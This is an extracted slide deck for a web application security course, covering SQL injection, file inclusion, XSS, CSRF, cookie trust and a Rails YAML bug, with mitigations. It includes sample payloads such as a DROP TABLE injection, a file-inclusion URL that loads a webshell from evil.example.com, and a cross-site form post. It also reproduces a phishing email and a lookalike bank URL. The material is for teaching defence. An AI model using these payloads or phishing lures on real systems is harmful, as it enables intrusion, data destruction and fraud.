

Web Application Security

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Agenda

- ❖ Intro to Web Security
- ❖ Web Application Architecture
- ❖ Code Injections
- ❖ Request Forgeries
- ❖ Losing Trust

Security:

Who Cares?

Reasons for Security

- ~ Reliable requires
- ~ Security of a system = Security of the weakest part
- ~ Hard to fix after system is ready
- ~ Everyone should care

IT Security Today

Georgia sent out CDs of data from 6M voters containing SSNs, birth dates [Updated]

Secretary of state attributes the information dump to a “clerical error.”

by Megan Geuss - Nov 20, 2015 8:10pm EET

137


IT Security Today



Hackers Remotely Kill a Jeep on the Highway—With Me in It

<http://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/>

IT Security Today



Tracking software sold to governments

IT Security Today

טיריך: מאות מצלמות אבטחה הרכזו לכלי הנשלט מרחוק

אבטחת מידע



הילה חיימוביץ' | לפני 3 שעות 28 דקות 0

0



7



17



חברת האבטחה הישראלית Incapsula פרסמה דוח' לפיו מאות מצלמות אבטחה הרכזו לרשות גדולה הנשלטה מרחוק ובקלות. האם הן באמת מניננות علينا או אולי דוח' לא נכון להפר?

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קפטן אינטרנט ברשות

פרצת אבטחה חמורה חשפה פרטי מזמינים כרטיסים בבראי, בצוותא ובמוועדים אחרים

חוקרי אבטחה גילו כי מערכת ניהול החומרות של חברת Eventgo לא הייתה מוגנת בסיסמה, וכל גולש יכול היה לנשח אליה; החברה טוענת: לא דף מידע אישי



עודד ירון |
15:16 18.01.2015

IT Security Today



(12/7/2014)

IT Security Today

תמונה העירום של הסלבס: "לא כשל, פישינג"

ממסמכיו ה-FBI בנוגע לחקירה הפצת התמונה, בין היתר של ג'ניפר לורנס, עולה כי לפחות חלק מהמקרים נפלו הידיעניות קורבן להונאת פישינג במסגרת התוקף של הودעה מזויפת, לפיה על הקורבן להכניס את הסיסמה שלו או לשנות אותה

אבי מזרחי פורסם: 13:17 , 10.06.15

IT Security Today

זה שות בעה נטו יקי

פריצה שנייה בשבוע למחשבים הממשל בארה"ב: נחשפו נתונים של מיליון עובדי מודיעין וצבא

בקרים בוושינגטון טוענים כי סין אחראית לפריצה ולתקירת דומה בשבוע שעבר. המידע שנחשף כולל נתונים על מחלות נפשיות והיסטוריה בנקאית ועלול להפוך עובדי ממשלה למטרת לסתות



שמור 8

ריטס ואיף |

12:04 13.06.2015

IT Security Today

רמב"ג

מומחה אבטחה: "האקרים יכולים להרוג אותך מרחוק בעזרת מנת יתר קטלנית של תרופות"

האקרים יכולים להשתלט מרחוק על משאבות תרופות אוטומטיות הנמצאות בשימוש ב-400 אלף בתים רפואיים בעולם



4

שמור

socnetv הדיעות |
12:28 12.06.2015

משאבות תרופות אוטומטיות שמספקים לצרני ציוד רפואי מוביילים לבתי חולים, חשופות לפריצות של האקרים שיכולים להשתלט עליהם מרחוק ולבצע שינויים במינוני תרופות שמתקבלים מאושפזים, הזהיר מומחה אבטחת הרשות ביל' רוס.



IT Security Today

קפטן אינטרנט **ברשת**

דיווח: סיסמאות ומידע של מאות גולשי תפוז דלפו לרשת

על פי הערכות ייתכן שמספר המשתמשים שנחשפו מגיע לעשרות אלפיים. מנכ"ל תפוז: העניין נבדק, בכל מקרה לא נחשפו פרטי כרטיסי אשראי

עודד ירון | [הוסף תגובה](#) | 13:11 | 14.02.2014 | 7

Human Factor

"הackerים השתלטו על מחשבים ביטחוניים"

נחשף מחדל חמוץ: חברת אבטחת מידע דיווחה כי מייל עם קובץ על אריק שרון, שנשלח לכואורה משב"כ, הכיל קוד "זדוני". התוצאה: 15 מחשבים במערכת הביטחון נשלטו במשך ימים על ידי האckerים. חשד: פלסטינים אחרים

רויטרס ואליאור לוי עדכון אחרון: 00:22 , 27.01.14

Ph

הסבת עבורה אוניברסיטת ★ (לפני 1 מיום) 20:47

<Service@info-paypal.com> Security paypal 130C

הסבת עבורה אוניברסיטת תרגום הודעה פניה אוניברסיטת אוניברסיטת

PayPal™

Notice of Policy Updates

Dear Customer,

Some information on your account appears to be missing or incorrect.

Your account will be suspended within 27 days .update your account as soon as possible.

Please update your information promptly so that you can continue to enjoy all the benefits of your PayPal account.

[Update](#)

If you need help logging in, go to our Help Center by clicking the Help link located in the upper right-hand corner of any PayPal page..

Sincerely,

PayPal

Please do not reply to this email. We are unable to respond to inquiries sent to this address. For immediate answers to your questions, visit our Help Center by clicking "Help" at the top of any PayPal page.

Ph

כניסה ללקוחות רשומים


עדין לא נרשםם לאזרור האיש? [ירשמו עכשוו](#)

שם משתמש [?](#) *

סיסמה [?](#) *

שחזור פרטי משתמש

[כניסה לאזרור האיש](#)



<http://online.leumi-card.co.il.rumahjennes.com/login/d09197e15c47f6d2d1a5739df8088fe2/>

Phishing Attacks

מיקרוסופט: נגנו לנו מסמכים בהתקפת פישינג

ענקית התוכנה מודה כי האקרים הצליחו לחדור לחשבונות אימייל של עובדייה בהתקפת פישינג, ולגנוב מסמכים שקשורים לפניות שנעושו למיקרוסופט על ידי רשות החוק

אהוד קין פורסם: 09:39 , 26.01.14

Stupidity Attacks

**פירסום ראשון: פירצת אבטחה בלוח הדרושים של NRG:
למעלה מ-50 אלף קורות חיים נחשפו**

אינטרנט | 5 תגובות | בתאריך 29 ביולי 2013

Index of /core-maariv/sites/nrg/_media/nrg_cv_send			
Name	Last modified	Size	Description
Parent Directory			
? 123430_cvs_file_d6f5b.doc	07-Dec-2009 14:59	26K	
? 123431_cvs_file_25231.doc	07-Dec-2009 15:04	34K	
? 123432_cvs_file_7e884.doc	07-Dec-2009 15:06	22K	
? 123433_cvs_file_e2e74.doc	07-Dec-2009 15:06	34K	
? 123434_cvs_file_46d2a.doc	07-Dec-2009 15:07	34K	
? 123435_cvs_file_95eb2.doc	07-Dec-2009 15:13	34K	
? 123436_cvs_file_ce4fc.doc	07-Dec-2009 15:16	34K	
? 123437_cvs_file_8b6ab.doc	07-Dec-2009 15:19	22K	
? 123438_cvs_file_0330d.doc	07-Dec-2009 15:27	22K	
? 123439_cvs_file_bba7c.doc	07-Dec-2009 15:27	22K	
? 123440_cvs_file_9d1b6.doc	07-Dec-2009 15:27	22K	
? 123441_cvs_file_1c9ac.doc	07-Dec-2009 15:27	22K	
? 123442_cvs_file_d1361.doc	07-Dec-2009 15:27	22K	
? 123443_cvs_file_ac269.doc	07-Dec-2009 15:27	22K	
? 123444_cvs_file_b9999.doc	07-Dec-2009 15:27	22K	
? 123445_cvs_file_9ad25.doc	07-Dec-2009 15:27	22K	
? 123446_cvs_file_fb274.doc	07-Dec-2009 15:27	22K	
? 123447_cvs_file_9e944.doc	07-Dec-2009 15:27	22K	
? 123448_cvs_file_86922.doc	07-Dec-2009 15:27	22K	
? 123449_cvs_file_62e3e.doc	07-Dec-2009 15:34	24K	
? 123450_cvs_file_2e90f.doc	07-Dec-2009 15:33	47K	
? 123451_cvs_file_340af.doc	07-Dec-2009 15:36	47K	

What To Expect

- ~ If someone can use it -> they'll misuse it
- ~ It's not always in our hands
- ~ Best Attacks: technical + human factor

Why Is It Hard ?

- ❖ Secure code problems:
 - ❖ Lack of knowledge
 - ❖ Carelessness

Security Concepts

- ❖ Threats
- ❖ Security Policy
- ❖ Security Flaw
- ❖ Vulnerability
- ❖ Exploit

Security Threats

- ❖ Denial of Service
- ❖ Gain information
- ❖ Change data

Security Policy

A set of rules and practices that specify how a system protects sensitive resources

Security Flaw

A software defect that poses a potential security risk

Vulnerability

A set of conditions that allows an attacker to violate a security policy

Exploit

A technique for using a security vulnerability
to violate the security policy

Our Goal

- ❖ Reduce security flaws
- ❖ Don't wait for an exploitable vulnerability

Myth-Busting

- ~ Myth:
Attacker can't see my source code

Myth-Busting

- ❖ Myth:
Attacker can't see my source code
- ❖ Reality:
Source code leaks

Myth-Busting

- ~ Myth:
Some flaws are un-exploitable

Myth-Busting

- ~ Myth:
Some flaws are un-exploitable
- ~ Reality:
Nobody found the exploit yet

Myth-Busting

- ~ Myth:
Who'd want to hack into my system ?

Myth-Busting

- ~ Myth:
Who'd want to hack into my system ?
- ~ Reality:
Anyone from script kidz, through competitors
and organized crime.

Q & A





Web Applications

Web Architecture

Client



Server



GET Data

Send Response


Server Side

- ✿ Creates data and sends back to client
- ✿ Data can be: HTML, JSON, XML, Images and more
- ✿ Choose your flavor



Server Side Flaws

- ❖ Code injections
- ❖ Information leak
- ❖ Privilege Escalation
- ❖ Shell Access



Client Side

- ❖ Web browser takes data and renders on screen
- ❖ Browsers: IE, Firefox, Chrome, Safari
- ❖ Languages: JavaScript, ActionScript, Java (Applets)



Client Side Flaws

- ❖ Code injections
- ❖ Information leak
- ❖ Breaking out of the browser's sandbox



Web Weakness

- ❖ Client-Server gap is too easy
- ❖ HTTP is state-less
- ❖ Many different technologies and vendors
- ❖ Code/Data intermix
- ❖ It's way more complicated than it looks

Web Security Pitfalls

- ❖ Code Injections
 - ❖ Query Injections (SQL, XPath, LDAP)
 - ❖ Remote File Inclusion
 - ❖ JavaScript Injections (XSS)
- ❖ Magic URLs
- ❖ Hidden Form Fields
- ❖ Cookies Gone Bad

SQL Injections

- ❖ Started in 1999
- ❖ (Probably) the most famous technique
- ❖ 83% of data breaches 2005-2011
- ❖ attack rate: 70 attempts / hour

Famous Victims

- ~ (2002) guess.com revealed 200K customer names and credit cards
- ~ (2007) Microsoft UK Defacement
- ~ (2009) RockYou DB hacked for 30Mil users
- ~ (2011) MySql.com hacked
- ~ (2012) Yahoo lost 450K login credentials

SQL Injections

HI, THIS IS
YOUR SON'S SCHOOL.
WE'RE HAVING SOME
COMPUTER TROUBLE.



OH, DEAR – DID HE
BREAK SOMETHING?
IN A WAY –)



DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Students;-- ?



OH, YES. LITTLE
BOBBY TABLES,
WE CALL HIM.

WELL, WE'VE LOST THIS
YEAR'S STUDENT RECORDS.
I HOPE YOU'RE HAPPY.




AND I HOPE
YOU'VE LEARNED
TO SANITIZE YOUR
DATABASE INPUTS.

What Did Bobby Break

\$query

What Did Bobby Break

\$query



Expected data
got code

SQLi Examples

- ~ See if you can log in
- ~ Login form code:
<https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/SQLInjection/Login.pm>

SQLi Example

- ~ See if you can print out names and passwords
- ~ <https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/SQLInjection/InfoLeak.pm>

SQLi Example

- ❖ SQL Injection Cheat Sheet:
<http://ferruh.mavituna.com/sql-injection-cheatsheet-oku>

Affected Languages

- ❖ All programming languages
- ❖ Usually found in ASP, Java, Perl and PHP

Bug Spotting


- ❖ Search for code that:
 - ❖ Takes user input
 - ❖ Does not validate input
 - ❖ Uses input to talk to DB

Bug Spotting

- ❖ In code review
- ❖ Find DB code
- ❖ Make sure its input is sanitized

Black-Box Spotting

- ❖ Many automated tools will help you find SQL Injections
- ❖ Popular: Havij
<http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/>



How To Avoid

- ~ Use prepared statements
- ~ Demo:

```
SELECT name, grade FROM students  
WHERE name=?
```

? are later bound
to data

How To Avoid

- ~ Sanitize your input. Always
- ~ Demo:

```
if ( ! $name =~ /^[a-z]+$/ ) {  
    die "Invalid Input";  
}  
  
if ( ! $age =~ /^[0-9]+$/ ) {  
    die "Invalid Input";  
}
```

Extra Precautions

- ❖ Keep users passwords hashed in the DB
- ❖ Encrypt important data in DB
- ❖ Microsoft URLScan
- ❖ TrustWave ModSecurity (Open Source)

Q & A

SQL Injections



Remote File Inclusion

- ❖ Users upload files
- ❖ Some files are dangerous
- ❖ OR
- ❖ Server loads files based on user input

The Risk

```
<?php  
    if (isset( $_GET['COLOR'] ) ){  
        include( $_GET['COLOR'] . '.php' );  
    }  
?>
```

With
/vulnerable.php?COLOR=_____
evil.example.com/webshell.txt

Local File Inclusion

- ❖ Other bugs allow attacker to upload a PHP file to your server
- ❖ Usually missing upload file name tests

File Upload

The most viral Images of today, sorted by popularity

Upload images

Computer Web

Today's best comments

kansas12 3,908 points : 10 hours ago
I've noticed a few people saying this is racist. I want to point out that I'm not racist. Racism is a crime and crime is for black people.

narficles 2,936 points : 22 hours ago
+1 for random black line

littlewonder 2,656 points : 24 hours ago
As an Aussie, this is not all accurate. Our mail boxes don't have flags. Otherwise, yes.

azazyel 2,634 points : 22 hours ago
"A children's story that can only be

The Risk

Server

Save editor.php



upload.php

uploads/editor.php

Remote File Demo

```
if ($_POST['url']) {
    $uploaddir = $_POST['url'];
}

$first_filename = $_FILES['uploadfile']['name'];
$filename = md5($first_filename);
$ext = substr($first_filename, 1 + strrpos($first_filename, '.'));
$file = $uploaddir . basename($filename . '.' . $ext);

if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)) {
    echo basename($filename . '.' . $ext);
} else {
    echo 'error';
}
```

Example: OpenBB

CVE-2006-4722

PHP remote file inclusion vulnerability in Open Bulletin Board (OpenBB) 1.0.8 and earlier

allows remote attackers to execute arbitrary PHP code via a URL in the root_path parameter to (1) index.php and possibly (2) collector.php.

Bug Spotting

- ~ Search for code that loads external files
- ~ Search for code that stores external files
- ~ Make sure file name is sanitized

How To Avoid

- ~ Avoid by sanitizing your input
- ~ Don't allow uploads if you don't have to

Other Injections

- ❖ XPath Injection
- ❖ LDAP Injection


Demo

- ~ Try to find a company's id using:
<https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/XPathInjection/Leak.pm>

Client-Side Injections

- ~ A relatively new category of injections uses Client Side languages (mainly JavaScript)
- ~ Attacker uses website to attack other users

JavaScript Injections



JavaScript Security

- ❖ Browsers use a security policy called “Same Origin Policy”
- ❖ A page has an origin
- ❖ Some actions are restricted to the page’s origin

Page Origin

scheme

Same Origin Policy

- * Cross origin writes:
Allowed
- * Cross origin embeds:
Allowed
- * Cross origin reads:
Denied



Same Origin Policy

- ~ Browsers love JS
- ~ All JavaScript is considered “safe”

Same Origin Policy

```
<body  
<  
</  
<script src  
<script src  
</body>
```

What If Bad JS Runs

- ~ It's just JavaScript ... what could go wrong ?

What If Bad JS Runs

- ~ JS can:
 - ~ send any HTTP request to any host with your credentials
 - ~ exploit plugins vulnerabilities
 - ~ exploit browser vulnerabilities

XSS

- ❖ A cross site scripting attack involves an evil site injecting its script “as if” it came from an honest origin

XSS Types

- ❖ Type 1: Reflected XSS
- ❖ Type 2: Permanent XSS
- ❖ Demos

XSS Mitigation

- ❖ Sanitise all your inputs
- ❖ Test often using automatic XSS injectors
- ❖ Consider CSP

Saving the Sandbox

- ❖ Why is sandbox concept important ?



Saving the Sandbox

- ❖ Same origin policy is not enough
- ❖ SOP doesn't prevent injections
- ❖ CSP to the rescue

CSP

- ❖ Content Security Policy
- ❖ Defines trustable script sources
- ❖ <https://apis.google.com>
- ❖ <http://evil.example.com>

CSP How

- ~ Server sends special HTTP header

```
Content-Security-Policy: script-src 'self' https://apis.google.com
```

Other Directives

- ~ **default-src**
- ~ **connect-src**
- ~ **font-src**
- ~ **frame-src**
- ~ **img-src**
- ~ **media-src**
- ~ **object-src**
- ~ **style-src**

Quiz

- ❖ What does the following policy mean ?

```
script-src https://apis.google.com https://  
platform.twitter.com;
```

```
frame-src https://plusone.google.com https://facebook.com  
https://platform.twitter.com
```

Quiz

- ❖ What does the following policy mean ?

Content-Security-Policy:
default-src 'none';
script-src https://cdn.mybank.net;
style-src https://cdn.mybank.net;
img-src https://cdn.mybank.net;
connect-src https://api.mybank.com;
frame-src 'self'

Extra Reading

- ~ Mike West's Intro to CSP
<http://www.html5rocks.com/en/tutorials/security/content-security-policy/>
- ~ Postcards from post-XSS world:
<http://lcamtuf.coredump.cx/postxss/>

Q & A



Famous Injections

- ~ XSS is the most famous JavaScript injection
- ~ Variants: Inject code to flash

Topic: Security

Follow via:  

Obama site hacked; Redirected to Hillary Clinton


Summary: *With a day to go before a critical Pennsylvania Democratic primary, Barack Obama's team has been busy patching security holes. According to Netcraft, a hacker exploited security flaws in Obama's site to redirect traffic to Hillary Clinton's site.*



By Larry Dignan for Zero Day | April 21, 2008 -- 12:35 GMT (05:35 PDT)


 Follow @ldignan

Famous Injections



Twitter, Sep 2010

Famous Injections




Yahoo, Jan 2013

Famous Injections

- ~ “Sammy Is My Hero”
- ~ (2005) Sammy’s worm infected a Million accounts in less than 20 hours



Famous Injections



Examples

- ❖ Throwing users out of a public chat room
- ❖ Getting a user to send a “fake” message

<https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/JSInjection/Chatter.pm>

Examples

- ❖ Hijacking a user's session through messaging
- ❖ Getting a user to send a fake message


<https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/XSS/SessionHijack.pm>

Bug Spotting

- ~ Search for code that writes markup to user
- ~ Verify all output is sanitized

Bug Spotting

- ❖ [http://
xsser.sourceforge.net/](http://xsser.sourceforge.net/)
- ❖ Python script that detects
XSS bugs in sites



Avoiding The Bug

- ❖ Use the framework
- ❖ Sanitize your output
- ❖ Consider other users

CSRF

- ❖ Cross-site request forgery
- ❖ Injecting code that gets a user to send a request they didn't intend to another site

CSRF Risks

- ~ Change password
- ~ Send emails
- ~ Delete account

Demo CSRF

Anti CSRF Demo

Person information

Name

Phone

OK

Submitting The Form

Following JS code can submit the form from any website (including evil.com)

```
$.post(  
  'http://example.com/anticsrf/  
safeform/index',  
  'name=Jim&phone=1234&submit=OK' );
```

CSRF Mitigation

- ~ Add CSRF token to sensitive forms
- ~ Request password for sensitive operations

CSRF Mitigation

- ❖ Demos/Controller/AntiCSRF/SafeForm.pm
- ❖ FormFu can add a token automatically in every form
- ❖ Demo: View source of revisited form

CSRF Mitigation

```
<form action="" method="post">
<fieldset>
<legend>Person information</legend>
<div class="text label">
<label>Name</label>
<input name="name" type="text" />
</div>
<div class="text label">
<label>Phone</label>
<input name="phone" type="text" />
</div>
<div class="submit">
<input name="submit" type="submit" value="OK" />
</div>
<div class="requesttoken">
<input name="_token" type="hidden" value="66h4wp4dne2pd3nz" />
</div>
</fieldset>
</form>
```

Random token



Q & A

Client-Side Injections



Losing Trust

- ~ Magic URLs
- ~ Hidden form fields
- ~ Cookies gone bad

Magic URLs

- ~ A URL is considered magic if knowing it grants you special privileges
- ~ Myth: Attacker can't see my code
- ~ Reality: Attacker will know the magic

Example

- ❖ /theme/functions/upload.php
without checking user's privileges
AND without checking file's extension
- ❖ Keeping a Debug / Backup dir publicly readable
- ❖ Keeping backup on public development server

Bug Spotting

- ~ Can be hard to detect
- ~ Mark all your private routes as private
- ~ Search for private methods without protection

Mitigation

- ~ Use a framework

Hidden Form Fields

Price is kept
in a form field

ת אירוח למינסוטה נס **Bahamas Scab**

מחיר: 2,099.00 ₪
ספח 1 יחידות בלבד

דמי טיפול ומשלוח: 120 ₪
(אפשרות לאיסוף עצמי)

סה"כ: 2,219.00 ₪
מספר תשלום (לא ריבית): עד 12

דגם: Bahamas

יצרן/מותג: SCAB

אחריות: שנתיים

זמן אספקה: 7 ימי עסקים

קוד ספק: 263

הזמנה כעת

ללא אשראי

הזמנה כעת עם אשראי

בקביה בטוחה



Hidden Form Fields

- ~ Data sent from server to client
- ~ Hoping data is safe there
- ~ JS sends back to server

Bug Variants

- ~ Readonly values in forms
- ~ Request parameters

Bug Spotting

- ~ All incoming data is considered dangerous
- ~ Regardless of its origin

Bug Mitigation

- ~ Treat incoming data the same way
- ~ Use tamper-prevention if applicable

Cookies Gone Bad

- ~ Cookies are used in HTTP to store state
- ~ Demo: Session cookie



Cookies Gone Bad

- ❖ Other things developers use cookie for:
 - ❖ Saving username/password
 - ❖ Saving user-id
 - ❖ Saving user role

Risks In Cookies

- ~ Magic cookies
- ~ User changes her user id
- ~ Password leak
- ~ XSS
- ~ SQLi

Examples

- ~ Tapuz people cookie:
`...UserEmail=ynonperek%40gmail.com`

Examples

- ~ Log in as admin to:

<https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/ClientTrust/MagicCookie.pm>

Examples

- ~ Log in as another user
<https://github.com/ynonp/web-security-demos/blob/master/lib/WebSecurity/Demos/Controller/ClientTrust/RememberMe.pm>

Bug Spotting

- ~ Search for Set Cookie statements
- ~ Make sure no sensitive data is kept in a cookie
- ~ Search for non httpOnly cookies

Avoiding Bad Cookies

- ~ Prefer localStorage when applicable
- ~ Don't store sensitive data in cookies
- ~ Don't trust the cookie

Q & A

Cookies



Rails Parsing Bug

SQL Injection rails style



Parsing Requests

- ~ Rails is a web framework for Ruby
- ~ (**CVE-2013-0156**
object-injection attacks)

CVE Explained

- ~ Ruby functions can take any type of arguments
- ~ Operation is influenced by argument type

CVE Explained

❖ Polymorphic ruby function

```
def poly(o)
  if o.is_a? Hash
    puts "Got a Hash"
  elsif o.is_a? String
    puts "Got a String"
  else
    puts "Got something else"
  end
end

poly({ :a => 1, :b => 2 })
poly("Hello World")
```

CVE Explained

- ~Rails functions assumed some types were “safe”
- ~They handle different types differently

CVE Explained

- ~ The Bug: p is assumed to always be a hash

```
input = <<END
      name: Jim
      age: 22
END

p = YAML.load( input )
```

CVE Explained

- ~ The Bug: but it's not

```
input = <<END  
!ruby/object:Person  
  name: Jim  
  age: 22  
END
```

```
p = YAML.load( input )
```

input controls
object type

The Big Picture

- ~ Frameworks can be misleading
- ~ The Good: Patches arrive quickly

Web Security

- ❖ Security of a system = the weakest part
- ❖ System breaches usually involve more than one vulnerability
- ❖ Use the power of frameworks

Thanks For Listening

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